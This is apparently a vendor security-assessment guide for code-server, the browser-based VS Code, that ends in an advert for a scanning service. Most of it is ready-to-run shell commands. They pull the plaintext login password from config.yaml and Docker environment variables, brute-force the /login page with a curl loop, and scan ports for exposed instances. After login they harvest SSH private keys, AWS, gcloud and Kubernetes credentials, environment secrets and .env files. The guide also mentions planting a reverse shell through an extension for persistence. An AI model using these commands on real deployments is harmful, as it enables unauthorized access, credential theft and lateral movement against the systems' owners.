code-server is a widely deployed tool that runs VS Code in the browser, enabling remote development from any device — it is used by individual developers on cloud VMs and by organizations for standardized remote development environments. Key assessment areas: a single password protects access to a full VS Code environment with an integrated terminal; the config.yaml file stores this password in plaintext; the integrated terminal provides immediate OS-level code execution as the service account; and authentication has no rate limiting by default, enabling password brute-force. This guide covers systematic code-server security assessment.
# code-server — config file password extraction and brute-force
CS_URL="https://code.example.com"
# config.yaml — code-server configuration (plaintext password)
cat ~/.config/code-server/config.yaml 2>/dev/null
# bind-addr: 0.0.0.0:8080
# auth: password
# password: your-plaintext-password-here <-- plaintext in many setups
# hashed-password: ""
# cert: false
# Docker — PASSWORD/HASHED_PASSWORD environment variable
docker inspect code-server 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['PASSWORD', 'HASHED_PASSWORD', 'AUTH', 'CERT']):
print(e)
" 2>/dev/null
# /healthz — unauthenticated health endpoint (confirms code-server is running)
curl -s "${CS_URL}/healthz" 2>/dev/null
# Returns: {"status":"alive"} — confirms code-server without authentication
# Password brute-force — code-server /login has no rate limiting by default
# Must first get CSRF token
CSRF_TOKEN=$(curl -s -c /tmp/cs_jar "${CS_URL}/login" 2>/dev/null | \
grep -oP 'name="_csrf"\s+value="\K[^"]+' | head -1)
echo "CSRF token: $CSRF_TOKEN"
for PASS in "password" "code" "developer" "admin" "secret" "1234" "pass123" "vscode" "code123" "dev"; do
RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
-b /tmp/cs_jar -c /tmp/cs_jar \
-X POST "${CS_URL}/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "_csrf=${CSRF_TOKEN}&password=${PASS}" 2>/dev/null)
echo "${PASS}: HTTP ${RESULT}"
# 302 to / = success; 200 = failure (login page redisplayed)
if [ "$RESULT" = "302" ]; then
echo " SUCCESS! Password: ${PASS}"
break
fi
done
# code-server post-authentication — terminal RCE and credential harvesting
# Once authenticated via browser session cookie:
# code-server terminal = full shell access as the service user
# The following would be executed via the integrated VS Code terminal
# Harvest SSH private keys
ls -la ~/.ssh/ 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null | head -5
cat ~/.ssh/id_ed25519 2>/dev/null | head -5
# Private keys for lateral movement to other servers
# Cloud credential files
cat ~/.aws/credentials 2>/dev/null
# [default]
# aws_access_key_id = AKIA...
# aws_secret_access_key = ...
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
cat ~/.kube/config 2>/dev/null | grep -E "server|token|certificate" | head -10
# Environment variables — cloud tokens and secrets
env | grep -E "TOKEN|SECRET|KEY|PASSWORD|AWS|GOOGLE|AZURE|GITHUB|GITLAB" 2>/dev/null
# Bearer tokens, API keys, and cloud credentials
# Often set in the shell profile or Docker environment
# Source code and .env files in the workspace
find /home /root /workspace /app /code /srv \
-name ".env" -o -name ".env.local" -o -name ".env.production" \
-o -name "credentials.json" -o -name "serviceaccount.json" \
2>/dev/null | head -20
# Crontab — persistence via scheduled commands
crontab -l 2>/dev/null
# Install a reverse shell via VS Code extension (persistence)
# Extensions are installed per-user, survive container restarts in persistent volumes
# code-server — unauthenticated reconnaissance
CS_URL="https://code.example.com"
# /healthz — alive check without authentication
curl -s "${CS_URL}/healthz" 2>/dev/null
# {"status":"alive"}
# /version — version disclosure
curl -s "${CS_URL}/version" 2>/dev/null
# Returns code-server version string for CVE targeting
# Check if code-server is deployed without auth (auth: none in config)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CS_URL}/" 2>/dev/null)
echo "Root path: HTTP $STATUS"
# 200 without redirect = auth: none (no authentication at all!)
# 302/303 to /login = password authentication required
# Detect code-server from browser fingerprinting
curl -s "${CS_URL}/login" 2>/dev/null | \
grep -i "code.server\|coder\|vs code\|vscode" | head -5
# Check if code-server is behind Nginx with proxy.domain.com auth
# code-server proxy feature creates subdomains for port forwarding
# https://3000--code.example.com/ — proxies port 3000 on the server
# This can expose internal services running on the development machine
# Common code-server deployment scanning
for PORT in 8080 8443 443 8888 9000; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
--max-time 3 "http://TARGET:${PORT}/healthz" 2>/dev/null)
[ "$STATUS" = "200" ] && echo "code-server found on port ${PORT}"
done
| Security Test | Method | Risk |
|---|---|---|
| config.yaml plaintext password extraction | Read ~/.config/code-server/config.yaml password field — plaintext authentication password; immediate full VS Code environment access including integrated terminal RCE | Critical |
| auth: none configuration — no authentication | GET / returns 200 without redirect — code-server deployed without any authentication; immediate full access to VS Code environment and terminal | Critical |
| Password brute-force via /login (no rate limiting) | POST /login with CSRF token — no default rate limiting; brute-force common passwords; weak developer passwords frequently used (password, code, developer, 1234) | High |
| Post-auth SSH key and cloud credential extraction | Integrated terminal — cat ~/.ssh/id_rsa; cat ~/.aws/credentials; env | grep SECRET; find / -name ".env" — complete credential harvest from development environment | Critical |
| Port forwarding proxy internal service exposure | GET https://3000--code.example.com/ — code-server proxy exposes internal ports on the development server to the internet via subdomain routing | High |
Ironimo tests code-server deployments for config.yaml plaintext password extraction, auth: none unauthenticated access detection, /healthz unauthenticated alive confirmation, password brute-force via /login without rate limiting, Docker PASSWORD and HASHED_PASSWORD environment variable exposure, integrated terminal RCE assessment, SSH private key access via ~/.ssh/, AWS credential file reading, cloud credential environment variable enumeration, port forwarding proxy internal service exposure, and VS Code extension installation for persistence assessment.
Start free scan